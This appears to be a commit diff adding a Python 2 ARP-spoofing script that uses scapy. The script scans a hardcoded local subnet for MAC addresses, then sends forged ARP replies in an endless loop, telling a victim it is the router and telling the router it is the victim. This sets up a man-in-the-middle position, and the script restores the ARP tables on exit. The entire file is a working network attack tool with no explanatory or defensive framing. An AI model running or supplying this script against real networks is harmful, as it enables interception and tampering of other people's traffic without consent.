1
+ #!/usr/bin/python2
2
+
3
+ import scapy .all as scapy
4
+ import time
5
+ import sys
6
+ import argparse
7
+
8
+ def get_ip ():
9
+
10
+ parser = argparse .ArgumentParser ()
11
+ parser .add_argument ("-t" ,"--target" ,dest = "victim" ,help = "Specify Victim IP addres" )
12
+ parser .add_argument ("-s" ,"--spoof" ,dest = "spoof" ,help = "Specify Spoofing IP addres" )
13
+ options = parser .parse_args ()
14
+
15
+ if not options .victim :
16
+ parser .error ("[-] Specify an IP Address for victim --help for more details" )
17
+
18
+ if not options .spoof :
19
+ parser .error ("[-] Specify an IP Address for spoofing --help for more details" )
20
+
21
+ return options
22
+
23
+ ip = get_ip ()
24
+
25
+ target_ip = ip .victim
26
+ gateway_ip = ip .spoof
27
+
28
+ def getmac_all (ip_range ):
29
+
30
+ arp_request_header = scapy .ARP (pdst = ip_range )
31
+ ether_header = scapy .Ether (dst = "ff:ff:ff:ff:ff:ff" )
32
+ arp_request_packet = ether_header / arp_request_header
33
+ answered_list = scapy .srp (arp_request_packet ,timeout = 1 ,verbose = False )[0 ]
34
+ #return answered_list[0][1].hwsrc
35
+ clients_list = []
36
+
37
+ for elements in answered_list :
38
+ #client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
39
+ client_dict = {elements [1 ].psrc :elements [1 ].hwsrc }
40
+ clients_list .append (client_dict )
41
+
42
+ return clients_list
43
+
44
+
45
+ ip_mac = getmac_all ("192.168.43.1/24" )
46
+ #get all mac and ip address in the ip range and save to a list with {ip,mac} dict format of list
47
+ print ip_mac
48
+
49
+ def getmac (ip_addr ):
50
+ for items in ip_mac :
51
+ if ip_addr in items .keys ():
52
+ mac_addr = items [ip_addr ]
53
+ return mac_addr
54
+
55
+
56
+ def spoof (target_ip ,spoof_ip ):
57
+
58
+ dst_mac = getmac (target_ip )
59
+ print dst_mac ,"\t " ,target_ip ,"\n "
60
+ arp_respond = scapy .ARP (op = 2 ,pdst = target_ip ,hwdst = dst_mac ,psrc = spoof_ip )
61
+ scapy .send (arp_respond ,verbose = False )
62
+
63
+ def restore (target_ip ,gateway_ip ):
64
+
65
+ dst_mac = getmac (target_ip )
66
+ src_mac = getmac (gateway_ip )
67
+ print dst_mac ,"\t " ,target_ip ,"\n "
68
+ print src_mac ,"\t " ,gateway_ip ,"\n "
69
+ arp_respond = scapy .ARP (op = 2 ,pdst = target_ip ,hwdst = dst_mac ,psrc = gateway_ip ,hwsrc = src_mac )
70
+ scapy .send (arp_respond ,verbose = False ,count = 4 )
71
+
72
+ count = 0
73
+ try :
74
+ while True :
75
+
76
+ spoof (target_ip ,gateway_ip )
77
+ #telling client i am the router
78
+ spoof (gateway_ip ,target_ip )
79
+ #telling router i am the client
80
+ count = count + 2
81
+ print "\r [+] send two packets " + str (count ),
82
+ sys .stdout .flush ()
83
+ time .sleep (1 )
84
+
85
+ except KeyboardInterrupt :
86
+
87
+ print "\n [+] Detected CTRL+C Quitting and restoring arp value please wait"
88
+ restore (target_ip ,gateway_ip )
89
+ #restoring client
90
+ restore (gateway_ip ,target_ip )
91
+ #restoring router
0 commit comments